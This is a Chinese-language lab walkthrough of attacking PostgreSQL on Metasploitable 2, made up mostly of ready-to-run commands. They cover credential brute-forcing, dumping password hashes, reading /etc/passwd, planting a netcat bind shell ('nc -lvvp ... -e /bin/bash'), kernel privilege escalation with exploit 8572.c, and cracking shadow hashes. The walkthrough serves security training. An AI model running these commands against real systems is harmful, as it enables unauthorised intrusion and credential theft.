一、前言

PostgreSQL是一个开源数据库,主要部署于Linux操作系统中。然而,PostgreSQL的兼容性非常好,可以兼容多个操作系统,也能在WindowsMacOS操作系统上运行。如果PostgreSQL数据库没有被正确配置,并且攻击者已经事先获取了凭证信息,那么他们就可以实施各类攻击行为,比如读写系统文件以及执行任意代码等。

来演示的目标系统是Metasploitable 2,因为该系统包含许多漏洞,也存在配置不当问题。

二、服务探测及版本识别

PostgreSQL数据库的默认监听端口为5432。在端口扫描过程中,如果发现该端口开放,那么目标主机很有可能安装了PostgreSQL

·  nmap -sV 172.16.222.195 -p 5432 

PostgreSQL渗透测试总结

1. PostgreSQL:通过Nmap判断数据库版本

此外,Metasploit平台中也有一个模块可以用来识别PostgreSQL数据库以及具体的版本:

auxiliary/scanner/postgres/postgres_version

PostgreSQL渗透测试总结

2. PostgreSQL:通过Metasploit识别数据库版本

三、探测数据库凭证

在共享文件夹中发现包含数据库用户名及密码的配置文件并不稀奇,然而,如果目标没有犯下如此低级的失误,那么我们可以使用一个Metasploit模块暴力**数据库凭证,如下图所示:

·  auxiliary/scanner/postgres/postgres_login 

PostgreSQL渗透测试总结

3. PostgreSQL:暴力**数据库凭证

探测数据库凭证是非常关键的一个步骤,如果没有掌握正确的凭证,我们很难突破目标主机,因为大多数攻击操作都需要访问数据库。

四、访问数据库

Kali Linux系统中默认包含了psql工具,在已知数据库用户名及密码的前提下,我们可以使用这个工具通过PostgreSQL数据的认证过程。命令如下:

·  psql -h 172.16.222.195 -U postgres 

PostgreSQL渗透测试总结

4. PostgreSQL:访问数据库

一旦连接上数据库,我们应该执行如下操作:

1、枚举已有的数据库。

2、枚举数据库用户。

3、枚举数据库表。

4、读取表内容。

5、读取数据库密码。

6、导出数据库内容。

我们可以使用如下命令完成上述任务:

·  postgres-# \l 图5枚举数据库

PostgreSQL渗透测试总结

·  postgres-# \du 枚举用户

·   PostgreSQL渗透测试总结

·  template1=# \dt 

·   PostgreSQL渗透测试总结

/c  进行切换数据库

PostgreSQL渗透测试总结

·  template1=# SELECT * FROM users; 

·   

·  postgres-# SELECT usename, passwd FROM pg_shadow; 

·   

·  pg_dump --host=172.16.222.195 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump 

7. PostgreSQL:枚举已有表

PostgreSQL渗透测试总结

8. PostgreSQL:读取表内容

PostgreSQL渗透测试总结

9. PostgreSQL:读取数据库密码

PostgreSQL渗透测试总结

10. PostgreSQL:导出数据库内容

我们也可以使用Metasploit完成上述部分任务。命令如下:

·  auxiliary/admin/postgres/postgres_sql 

·   

·  auxiliary/scanner/postgres/postgres_hashdump  

PostgreSQL渗透测试总结

11. PostgreSQL:使用Metasploit枚举数据库

PostgreSQL渗透测试总结

12. 使用Metasploit读取Postgres服务器哈希

PostgreSQL渗透测试总结

13. 使用Metasploit执行PostgreSQL命令

五、命令执行

PostgreSQL数据库能够与底层系统交互,这样数据库管理员就能执行各种数据库命令,同时也能从系统中读取输出结果。

·  postgres=# select pg_ls_dir('./'); 

 

14. PostgreSQL:读取系统目录结构

PostgreSQL渗透测试总结

执行如下命令,我们就能读取服务端的postgres文件。

·  postgres=# select pg_read_file('PG_VERSION', 0, 200); 

PostgreSQL渗透测试总结

15. PostgreSQL:读取服务端文件

我们也可以创建一个数据表,以便存储及查看目标主机中已有的某个文件。命令如下:

·  postgres-# CREATE TABLE temp(t TEXT); 

·   

·  postgres-# COPY temp FROM '/etc/passwd'; 

·   

·  postgres-# SELECT * FROM temp limit 1 offset 0;  

PostgreSQL渗透测试总结

16. PostgreSQL:读取本地文件

Metasploit框架中有个模块,可以自动化读取本地文件,命令如下:

·  auxiliary/admin/postgres/postgres_readfile 

PostgreSQL渗透测试总结

17. PostgreSQL:通过Metasploit读取本地文件

除了读取文件内容外,我们也可以使用PostgreSQL往目标主机中写入文件,比如我们可以写入bash文件,用来监听某个随机端口:

·  postgres=# CREATE TABLE pentestlab (t TEXT); 

·   

·  postgres=# INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); 

·   

·  postgres=# SELECT * FROM pentestlab; 

·   

·  postgres=# COPY pentestlab(t) TO '/tmp/pentestlab';  

PostgreSQL渗透测试总结

18. PostgreSQL:将文件写入目标主机

当然我们需要赋予该文件可执行权限:

·  chmod +x /tmp/pentestlab 

·   cd /tmp

·  ./pentestlab 

PostgreSQL渗透测试总结

19. 启动本地监听器

使用Netcat成功建立连接:

·  nc -vn 172.16.222.195 2346 

·   

·  python -c "import pty;pty.spawn('/bin/bash')" 获得root权限下的python shell接口

PostgreSQL渗透测试总结PostgreSQL渗透测试总结

20. PostgreSQL:连接到后门

如果postgres服务账户具备/tmp目录的写入权限,那么我们可以通过用户自定义函数(UDFuser defined functions)实现任意代码执行。

·  exploit/linux/postgres/postgres_payload 

PostgreSQL渗透测试总结

21. PostgreSQL:代码执行

六、权限提升

如果我们通过已获取的数据库凭证或其他方法获得对目标主机的访问权限,那么接下来我们应当尝试将已有权限提升至root权限。当然,我们在Linux系统中可以有各种方法实现权限提升,并且这也是比较复杂的一个过程,但为了不偏离本文的主题,我们使用某个内核漏洞完成权限提升任务。

尽可能完整地获取内核版本以及操作系统的全部信息有助于我们发现系统存在哪些漏洞,命令如下:

·  [email protected]:/# uname -a 

·   

·  uname -a 测试不好使,可以使用cat /proc/version

·   PostgreSQL渗透测试总结

·  Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux  

根据上述内核版本信息,我们可以在exploitdb中搜索对应版本是否存在本地漏洞利用代码,这也是目前最为简单的一种方法。

由于我们是要找提权exp,所以我们搜索privilege,然后使用grep命令来缩小查找范围,加上-i 参数忽略大小写。对于本文这个例子,我们使用8572.c这个exp,利用了UDEV设备管理器的一个漏洞,允许通过未经验证的Netlink消息来执行代码。

PostgreSQL渗透测试总结

PostgreSQL渗透测试总结

22. 搜索Linux内核漏洞利用代码

我们可以在本地或者远程系统中编译这段利用代码。

PostgreSQL渗透测试总结

23. 编译漏洞利用程序并获取netlinkPID信息

这个漏洞利用程序需要在/tmp目录中创建一个run文件。当漏洞利用代码执行时就会运行这个文件,我们可以通过该文件监听某个端口。

·  #!/bin/bash 

·   

·  nc -lvvp 2345 -e /bin/bash  

PostgreSQL渗透测试总结

24. tmp目录中创建run文件

需要赋予该文件可执行权限。

·  chmod +x /tmp/run 

我们可以通过如下命令,建立与该端口的连接,然后获得root权限下的python shell接口。

·  nc -vn 172.16.222.195 2345 

·   

·  python -c "import pty;pty.spawn('/bin/bash')" 

PostgreSQL渗透测试总结

25. 通过Netcat与目标主机建立连接

我们可以使用Metasploit平台自动完成上述过程。因此当我们发现目标主机存在某个漏洞时,我们可以尝试在Metasploit中搜索是否有个匹配的模块可以使用:

PostgreSQL渗透测试总结

26. 利用Metasploit实现Linux系统权限提升

当漏洞利用代码执行时,我们可以得到另一个具备root用户权限的Meterpreter会话:

PostgreSQL渗透测试总结

27. root权限下的Meterpreter会话

即使我们已经获得了root访问权限,我们最好还是从shadow文件中读取所有用户的密码哈希,以便后续**这些哈希值。通过这些哈希值,渗透测试人员可以发现存在弱口令的账户,也很有可能借助其中某些账户访问同一网络中的其他系统。

 

PostgreSQL渗透测试总结

28. 检查Shadow文件

我们可以将密码哈希值保存到一个文本文件中,然后使用John the Ripper工具**这些哈希:

·  john /root/Desktop/password.txt 

·   

·  john --show /root/Desktop/password.txt 

PostgreSQL渗透测试总结

29. 被**的哈希值

上述命令可以显示已被成功**的密码哈希值。

现在,这个Linux系统中的所有账户已被我们**,我们可以使用这些账户访问其他系统。​​​​

另外近期出现远程代码执行漏洞:PostgreSQL 提权漏洞(CVE-2018-1058)

PostgreSQL7.3版本之后,当一个用户创建一个数据库时,PostgreSQL会创建一个叫做public的模式。默认情况下,所有的对象都会被创建到这个模式下。所以SELECT * FROM a; 就等价于 SELECT * FROM public.a;。

在不同的模式下创建同名对象的能力,加上PostgreSQL在模式内搜寻对象的方法,出现了一种可能,那就是一个用户可以修改其他用户的查询行为。

例如,一个恶意用户可能会植入一个函数,它的功能是当被超级用户执行时,将更大的权限赋给这个恶意用户。

这个问题可能会导致非常严重的影响。

复现地址:

https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2018-1058

本参参考安全科相关文章进行整理,复现,在原有基础上修改,添加,转载请注明出处。

相关文章: